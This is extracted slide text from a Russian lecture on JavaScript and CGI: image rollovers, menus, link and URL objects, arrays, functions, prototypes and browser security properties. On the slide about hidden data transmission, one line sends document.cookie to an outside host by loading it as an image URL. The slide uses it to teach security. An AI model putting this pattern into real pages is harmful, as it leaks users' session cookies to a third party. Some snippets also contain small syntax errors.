1
Учебный курс
Введение в JavaScript и CGI
Лекция 4
Работа с графикой, гипертекстовые переходы и
синтаксис языкакандидат технических наук
Павел Брониславович Храмцов
2
Кэширование изображений
Оптимизация отображения при загрузке
Оптимизация отображения за счет предварительной загрузки
Оптимизация отображения за счет нарезки изображения
3
Графика и таблицы
<pre><a href="javascript:void(0);"><img src=../images/jsi/topm000.gif border=0></a><a href="javascript:void(0);"><img src=../images/jsi/topm001.gif border=0></a>...</pre>
4
Графика и таблицы
<table border=0 cellpadding=0 cellspacing=0 align=center><tr><td><img src=../images/main/treeup.gif width=20 height=20 border=0></td><td><img src=../images/main/blank.gif width=20 height=20 border=0></td></tr><tr><td><img src=../images/main/treetc.gif width=20 height=20 border=0></td><td><a href="javascript:void(0);"><img src=../images/jsi/manual.gif border=0 width=20 height=20></a></td></tr><tr><td><img src=../images/main/treetc.gif width=20 height=20 border=0></td><td><a href="javascript:void(0);"><img src=../images/jsi/desk.gif border=0 width=20 height=20></a></td></tr></table>
5
Графика и обработка событий
<table border=0 cellpadding=0 cellspacing=0 align=center><td><a href="javascript:void(0);" onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return true;" onMouseout="document.e0.src='../images/main/blank.gif';return true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td></table>
6
Меню
<table border=0 cellpadding=0 cellspacing=0 align=center><tr><td><img name=e0 src=../images/main/blank.gif width=20 height=10 border=0></td></tr><tr><td><a href="javascript:void(0);" onMouseover="document.e0.src='../images/jsi/arrowdw.gif';return true;" onMouseout="document.e0.src='../images/main/blank.gif';return true;" ><img src=../images/jsi/desk.gif border=0 border=0></a></td>…</tr></table>
7
Меню
<td><a href="javascript:void(0);"onMouseover="document.evente.src='../images/jsi/corner.gif';"onMouseout="document.evente.src='../images/jsi/clear.gif';"><img src=../images/jsi/eventep.gif border=0></a></td><td><a href="javascript:void(0); onMouseover="document.evente.src='../images/jsi/corner.gif';"onMouseout="document.evente.src='../images/jsi/clear.gif';"><img name=evente src=../images/main/blank.gif></a></td>
8
Меню
<script>function submenu(a) {if(a==1) { document.menu00.src="../images/jsi/historyb.gif"; // History document.menu01.src="../images/jsi/faceb.gif"; // In face } …</script><table border=0 cellspacing=0 cellpadding=0 align=center><tr><td><a href="javascript:void(0);"onMouseover="submenu(1);return true;"><img name=menu00 src=../images/jsi/historyb.gif border=0></a></td><td><img name=menu01 src=../images/jsi/faceb.gif border=0></td></tr></table>
9
Объект URL
http://webclass.polyn.kiae.su/classes/homef.htm Значения свойств: href: http://webclass.polyn.kiae.su/classes/homef.htm protocol: http: hostname: webclass.polyn.kiae.su host: webclass.polyn.kiae.su:80 port: 80 pathname: classes/homef.htm search: hash:
Обращение к свойству объекта класса URL: имя_объект_класса_URL.свойствоНапример, так:document.links[0].hrefdocument.location.hostdocument.links[2].hash
10
Массивы
<a href= >…</a><map name=test>…</map>for(i=0;i<document.links.length;i++)
document.write(document.links[i].href+"<br>");
links[0]:file:///C:/INTUIT/webclass/pages/classes/jsi/jsid.htmlinks[1]:file:///C:/INTUIT/webclass/pages/classes/jsi/test/larrayt.htmlinks[2]:file:///C:/INTUIT/webclass/pages/classes/fsub.htmlinks[3]:file:///C:/INTUIT/webclass/pages/classes/jsi/href.htmlinks[4]:file:///C:/INTUIT/webclass/pages/classes/jsi/area.htmlinks[5]:javascript:window.alert('Area_Link_1');void(0);links[6]:javascript:window.alert('Area_Link_2');void(0);links[7]:javascript:window.alert('Area_Link_3');void(0);links[8]:javascript:window.alert('Area_Link_4');void(0);
11
Массив ссылок
function line(a) {if(a==0) {clear();window.document.main.document.o0.src="../images/jsi/fio.gif";window.document.main.document.links[4].href="javascript:window.document.main.document.f1.fi1.value='Иванов И.И.';void(0);";window.document.main.document.o1.src="../images/jsi/rpho.gif";window.document.main.document.links[5].href="javascript:window.document.main.document.f1.fi2.value='123-45-67';void(0);";window.document.main.document.o2.src="../images/jsi/hpho.gif";window.document.main.document.links[6].href="javascript:window.document.main.document.f1.fi3.value='987-65-43';void(0);";}
}
12
Массив ссылок
href:--> file:///C:/INTUIT/webclass/pages/classes/jsi/mouse.htmpathname:--> C:/INTUIT/webclass/pages/classes/jsi/mouse.htm Изменим теперь pathname: document.all.next.pathname="kuku";document.write(window.document.all.next.pathname);
href:--> file:kukupathname--> kuku
13
Обработка событий мыши
<table border=0 cellspacing=1 cellpadding=0 align=center><tr><td><a href="javascript:void(0);"onMouseover="line2(0);return true;"><img src=../images/jsi/addrpho.gif border=0></a></td>...</tr></table>
14
Обработка событий мыши
<a href="javascript:void(0);" onMouseover="document.tiger.src='../images/jsi/tiger1s.gif';return true;" onMouseout="document.tiger.src='../images/jsi/tiger1g.gif';return true;"><img name=tiger src=../images/jsi/tiger1g.gif border=0></a>
15
Обработка событий мыши
<a href=#click onClick="window.alert('No jump to #click');return false;">onClick</a>
<a href=#top onClick="return window.confirm('Do you wona to jump?');">перехода</a>
<a id=red onClick="window.alert("kuku");return false;">Нет атрибута href</a>Нет атрибута href.
<a href="" id=red onClick="window.alert('URL:'+this.href);return false;">Нет атрибута href</a>>Нет атрибута href.
16
Программирование за кадром
• типам и структурам данных • операторам языка • функциям пользователя • особенностям размещения кода • возможности исполнения программ в фоновом режиме • управлению фокусом • и вопросам безопасности
18
Литералы
числовой литерал: 10числовой литерал: 2.310числовой литерал: 2.3e+2строковый литерал: 'Это строковый литерал'строковый литерал: "Это строковый литерал"
19
Переменные
i=10;var i;var i=10;var id = window.open();var a = new Array();
20
Переменные
wid = window.open("","kuku","width=200,height=100,statusbar");wid.document.open();wid.document.write("<html><head>");wid.document.write("<script>var t;</script>");wid.document.write("</head><body>");wid.document.write("<center>Новое окно<br>");wid.document.write("<form>");wid.document.write("<input type=button value='Закрыть окно'
onClick=window.close();></form>");wid.document.write("</center></body<>/html>");wid.document.close();...<a href="javascript:wid.t=window.prompt("Type new status
value:");wid.defaultStatus=t;wid.focus();void(0);>...</a>
21
Массивы
a = new Array();b = new Array(10);c = new Array(10,"Это значение");
<script>c = new Array(30,"Это значение");</script><form><input size=& {c[0];};value=& {c[1];}; onFocus="this.blur();"></form>
22
Функции
function f_name(arg1,arg2,...){/* function body */}
document.write("Тип переменной f_name:"+typeof(f_name);
Тип переменной f_name:function
23
Функция - объект
function Rectangle(a,b,c,d){this.x0 = a;this.y0 = b;this.x1 = c;this.y1 = d;this.area = new Function("return Math.abs(this.x0-this.x1)* Math.abs(this.y0-this.y1)");this.perimeter = new Function("return (Math.abs(this.x0-this.x1)+ Math.abs(this.y0-this.y1))*2");}c = new Rectangle(0,0,100,100);document.write(c.area()); Результат исполнения: 10000
24
Прототипы
String.prototype.out = new Function("a","a.write(this)");..."Привет дуралеи".out(document);
Привет дуралеи
25
Операторы
var {...} if while for for ... in break continue return
26
Скрытая передача данных
<frameset cols="100%,*"><frame name=left src=hcfl.htm><frame name=right src=hcfl.htm></frameset>
<script language=JavaScript src="../css/jsc.pgm">
s = "http://domain.ru/cgi-bin/image_script?"+document.cookie;document.x.src= s;
27
JavaScript: безопасность
Объект Свойства
Document cookie, domain, forms[], lastModified, links[], location,
referer, title, URL
Form action
document.forms[].elements[] checked, defaultChecked, defaultValue, name, selectedIndex,
toString, value
History current,next,previous,toString(),all array elements
Location,Link,,Area
hash, host, hostname, href, pathname, port, protocol, search,
toString()
Option defaultSelected, selected, text, value
Window defaultStatus,status
Top Related